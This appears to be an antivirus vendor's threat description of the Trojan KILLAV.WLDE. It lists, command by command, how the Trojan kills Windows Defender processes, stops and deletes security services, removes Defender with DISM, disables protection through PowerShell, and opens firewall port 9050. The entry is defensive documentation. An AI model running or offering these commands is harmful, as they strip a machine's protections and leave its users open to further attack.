Trojan.Win32.KILLAV.WLDE

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

• netsh advfirewall firewall add rule name="WSUS" dir=in action=allow protocol=TCP localport=9050
• taskkill /F /IM SecurityHealthHost.exe
• taskkill /F /IM SecHealthUI.exe
• taskkill /F /IM SecurityHealthSystray.exe
• taskkill /F /IM MpCmdRun.exe
• taskkill /F /IM MSASCui.exe
• taskkill /F /IM MSASCuiL.exe
• %System%\cmd.exe /c ver
• sc config WinDefend start=disabled
• sc stop WinDefend
• sc delete WinDefend
• sc config wscsvc start=disabled
• sc stop wscsvc
• sc delete wscsvc
• sc config SecurityHealthService start=disabled
• sc stop SecurityHealthService
• sc delete SecurityHealthService
• sc config WdNisSvc start=disabled
• sc stop WdNisSvc
• sc delete WdNisSvc
• sc config Sense start=disabled
• sc stop Sense
• sc delete Sense
• sc config SecurityHealthServicestart=disabled
• Dism /online /Disable-Feature /FeatureName:Windows-Defender /Remove /NoRestart /quiet
• %User Temp%\6CC70633-5390-4015-B4AF-3E942173D248\dismhost.exe {39A2C126-CAE5-4784-96BE-423A231B5103}
• powershell -c Set-MpPreference -DisableRealtimeMonitoring $true
• powershell -c Set-MpPreference -DisableBehaviorMonitoring $true
• powershell -c Set-MpPreference -DisableBlockAtFirstSeen $true
• powershell -c Set-MpPreference -DisableIOAVProtection $true
• powershell -c Set-MpPreference -DisableScriptScanning $true
• powershell -c Set-MpPreference -SubmitSamplesConsent 2
• powershell -c Set-MpPreference -MAPSReporting 0
• powershell -c Set-MpPreference -HighThreatDefaultAction 6 -Force
• powershell -c Set-MpPreference -ModerateThreatDefaultAction 6
• powershell -c Set-MpPreference -LowThreatDefaultAction 6
• powershell -c Set-MpPreference -SevereThreatDefaultAction 6
• powershell -c Stop-Service WinDefend
• powershell -c Set-Service WinDefend -StartupType Disabled
• powershell -c Stop-Service wscsvc
• powershell -c Set-Service wscsvc -StartupType Disabled
• powershell -c Stop-Service WdNisSvc
• powershell -c Set-Service WdNisSvc -StartupType Disabled
• powershell -c Stop-Service Sense
• powershell -c Set-Service Sense -StartupType Disabled
• powershell -c Stop-Service SecurityHealthService
• powershell -c Set-Service SecurityHealthService -StartupType Disabled

(Note: %System% is the Windows system folder, where it usually is C:\Windows\System32 on all Windows operating system versions.. %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)